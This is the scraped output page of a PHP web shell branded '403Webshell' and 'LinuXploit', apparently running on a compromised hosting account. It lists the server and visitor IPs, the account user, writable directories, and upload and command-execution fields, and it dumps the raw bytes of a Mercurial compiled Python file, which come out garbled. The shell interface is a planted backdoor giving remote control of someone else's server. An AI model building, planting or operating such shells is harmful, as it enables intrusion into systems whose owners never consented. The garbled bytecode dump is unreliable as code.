403Webshell
Server IP : 74.208.236.16  /  Your IP : 216.73.217.15
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u102440577 ( 7172810)
PHP Version : 8.4.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/lib/python3/dist-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/lib/python3/dist-packages/mercurial/__pycache__/rewriteutil.cpython-313.pyc
�

6�h�#���SSKJr SSKrSSKJr SSKJrJr SSKJ	r	JrJ
r
JrJrJ
r
 \R"S5rSS	1rS
rSSjrSSjrS
rSrSrSrSSjrg)�)�annotationsN�)�_)�hex�nullrev)�error�node�obsolete�obsutil�revset�scmutils\b[0-9a-f]{6,64}\bssourcesintermediate-sourcec�l�URSUR5R555 g)zIpreserve the relevant `extra` entry from old_ctx on rebase-like operationc3�D# �UHupU[;dMX4v� M g7f�N)�retained_extras_on_rebase)�.0�key�values   �7/usr/lib/python3/dist-packages/mercurial/rewriteutil.py�	<genexpr>�,preserve_extras_on_rebase.<locals>.<genexpr>'s&����1�J�C��+�+�	���1�s� �
 N)�update�extra�items)�old_ctx�	new_extras  r�preserve_extras_on_rebaser%s,��
����!�-�-�/�/�/�1���c�X�URRn[U5nXB:a?UVs/sHn[R"U"U55PM! nnSR	U5nU$UR5n[
S5nU[R"U"U55US-
4-nU$s snf)z�returns a string summarizing revisions in a decent size

If there are few enough revisions, we list them all. Otherwise we display a
summary of the form:

    1ea73414a91b and 5 others
s, s%s and %d othersr)�	changelogr	�len�short�join�firstr)	�repo�revs�maxrevs�tonode�numrevs�r�shorts�summaryr$s	         r�_formatrevsr-.s����^�^�
 �
 �F��$�i�G���15�6��A�$�*�*�V�A�Y�'���6��*�*�V�$��
�N��
�
����'�(���D�J�J�v�e�}�-�w��{�;�;���N��
7s�&B'c��[U;a-[S5U-n[S5n[R"XES9e[	SU55(a$UR
R
S5 SU5n[USR55S:�a"[R"[S	5U-5eURS
U5nU(a9[X5n[S5X'4-n[S5n[R"XES9e[X5nU(a7[S
5n[R"[S5U[U54-US9eU(dg[R"U[R5(d�[!X5n	U	(a�U	up�n[S5UU
U4-nU
R#5UR#5:waU[S5U--
nUR
R$(aeU
R#5UR#5:waU[S5X�4--
nU[S5X�U
4--
n[R"U[S5S9e[R"U[S5S9egg)acheck if revs can be rewritten
action is used to control the error message.

check_divergence allows skipping the divergence checks in cases like adding
a prune marker (A, ()) to obsstore (which can't be diverging).

Make sure this function is called after taking the lock.
scannot %s the null revisionsno changeset checked out)�hintc3�:# �UHn[US5v� M g7f)�revN)�hasattr�rr*s  rr�precheck.<locals>.<genexpr>Ps���
+�d��7�1�e���d�s�s-rewriteutil.precheck called with ctx not revsc3�@# �UHoR5v� M g7fr)r1r3s  rrr4Rs���&��A������s�Nrs"cannot %s changesets while mergings%ld and public()scannot %s public changesets: %ss see 'hg help phases' for detailss#see 'hg help evolution.instability's7cannot %s changeset, as that will orphan %d descendantss8cannot %s %s, as that creates content-divergence with %ss	, from %ss0
    changeset %s is a successor of changeset %ss�
    changeset %s already has a successor in changeset %s
    rewriting changeset %s would create "content-divergence"
    set experimental.evolution.allowdivergence=True to skip this checksEsee 'hg help evolution.instability' for details on content-divergences@add --verbose for details or see 'hg help evolution.instability')rrr�
InputError�any�ui�	develwarnr!�parents�
StateErrorr&r-�disallowednewunstabler
�	isenabled�allowdivergenceopt�_find_new_divergencer1�verbose)
r%r&�action�check_divergence�msgr/�
publicrevsr,�newunstable�new_divergence�	local_ctx�	other_ctx�base_ctxs
             r�precheckrJBss���$���.�/�&�8���,�-�����s�.�.�
�
+�d�
+�+�+������J�K�&��&��
�4��:���� �1�$����
�3�4�v�=�
�	
����.��5�J���d�/���2�3�v�6G�G���4�5�����s�.�.�'��3�K���7�8�����
�H�I��s�;�'�(�
)��
�	
������d�H�$?�$?�@�@�-�d�9���-;�*�I�(��K�������C��}�}��(�,�,�.�0��q����1�1���w�w����=�=�?�h�l�l�n�4��1�P��"�-�.�.�C��q�'���)�4�5�5���&�&���`�����&�&���;����?�Arc��[R"U[R5nU(a[R"5$URSX5$)z�Checks whether editing the revs will create new unstable changesets and
are we allowed to create them.

To allow new unstable changesets, set the config:
    `experimental.evolution.allowunstable=True`
s
(%ld::) - %ld)r
r=�allowunstableoptr�basesetr&)r%r&�
allowunstables   rr<r<�s>���&�&�t�X�-F�-F�G�M���~�~����9�9�%�t�2�2rc��URSU5nUH:n[XU5nU(dMXXSUR5US4s $ g)Ns%ld and obsolete()rr)r&�find_new_divergence_from�
unfiltered)r%r&�obsrevsr*�divs     rr?r?�sZ���i�i�-�t�4�G�
��&�t�!�W�5���3��G�T�a�&�\�4�?�?�+<�S��V�+D�E�E��rc��UR5(dg[R"XR55nU(aUSSUR54$[R"X5nU(aUSSnUSSnUSU4$g)z�return divergent revision if rewriting an obsolete cset (ctx) will
create divergence

Returns (<other node>, <common ancestor node>) or None
Nrsdivergentnodesscommonpredecessor)r
r�successorssetsr	�
divergentsets)r%�ctx�sset�divsets�nsuccset�precs      rrPrP�s����<�<�>�>���!�!�$���
�3�D���Q���
�C�H�H�J�'�'��'�'��2����q�z�"3�4�H��1�:�2�3�D��Q�K��&�&�rc��URSS5nUS:XagUS:Xag[R"[S5X4-5e)N�rewritesempty-successorsskipTskeepFsf%s doesn't know how to handle config rewrite.empty-successor=%s (only 'skip' and 'keep' are supported))�configr�ConfigErrorr)r8�command�empty_successors   r�skip_empty_successorrb�sV���i�i�
�,>�?�O��'�!��	�G�	#�����
��
�
�(�
)�
�	
rc	��U(d0n0n[R"[U5nUR5nUGHn[R
"XV5nUcM XWnUR5(dURU5n	U	cMOU	/n	O#[R"XR5US9n	[U	5S:Xap[U	S5S:Xa^U	SSn
U
b*[U
5nUR!XkS[U55nM�UR"R%['S5U-5 M�UR"R%['S5U-5 GM U$![R[R4a GMKf=f)a�Replace all obsolete commit hashes in the message with the current hash.

If the obsolete commit was split or is divergent, the hash is not replaced
as there's no way to know which successor to choose.

For commands that update a series of commits in the current transaction, the
new obsolete markers can be considered by setting ``pending`` to a mapping
of ``pending[oldnode] = [successor_node1, successor_node2,..]``.
N)�cacherrsbThe stale commit message reference to %s could not be updated
(The referenced commit was dropped)
s>The stale commit message reference to %s could not be updated
)�re�findall�NODE_RErQr
�resolvehexnodeidprefixr�WdirUnsupported�AmbiguousPrefixLookupErrorr
�getrrUr	r!r�replacer8�noter)r%�	commitmsg�pendingrd�hashes�unfi�h�fullnoderW�
successors�	successor�newhashs            r�update_hash_refsrw�sx������E�
�Z�Z���
+�F��?�?��D�
��	��5�5�d�>�H�
����n���|�|�~�~� ���X�.�J��!��$��J� �/�/��h�h�j��N�J��z�?�a��C�
�1�
�$6�!�$;�"�1�
�a�(�I��$��i�.��%�-�-�a��3�q�6�1B�C�	�������Q���	��
�G�G�L�L��(���	�
�G�V���Q�%�%�u�'G�'G�H�	�
�	�s�E�$F�F)�)r]Tr)�
__future__rre�i18nrr	rr�rr
rrr
�compilergrrr-rJr<r?rPrbrw�rr�<module>r~sj��#�	���
��
�*�*�+�
,��������(Q�h
3���2
�":r

Youez - 2016 - github.com/yon3zu
LinuXploit